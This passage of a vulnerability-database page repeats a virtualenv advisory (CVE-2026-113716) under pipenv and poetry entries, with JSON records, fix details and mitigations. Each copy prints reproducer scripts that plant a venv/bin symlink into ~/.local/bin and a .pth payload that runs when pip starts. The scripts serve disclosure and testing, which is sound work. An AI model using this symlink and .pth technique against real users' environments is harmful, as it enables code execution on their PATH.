      "modified": "2026-11-19T09:17:08Z",
      "published": "2026-10-22T09:28:40Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-PIPENV-CVE-2026-113716 (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 09:47 – Updated: 2026-11-19 09:22 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.6",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "pipenv",
            "purl": "pkg:brew/pipenv"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "8.3.0"
                },
                {
                  "fixed": "2026.10.1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.6",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.6"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-pipenv-CVE-2026-113716",
      "modified": "2026-11-19T09:22:30Z",
      "published": "2026-10-22T09:47:00Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-POETRY-CVE-2026-113716 (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-29 22:19 – Updated: 2026-11-19 09:13 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "poetry",
            "purl": "pkg:brew/poetry"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.1.0"
                },
                {
                  "fixed": "1.2.2_1"
                },
                {
                  "introduced": "1.8.0"
                },
                {
                  "fixed": "2.5.1_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: 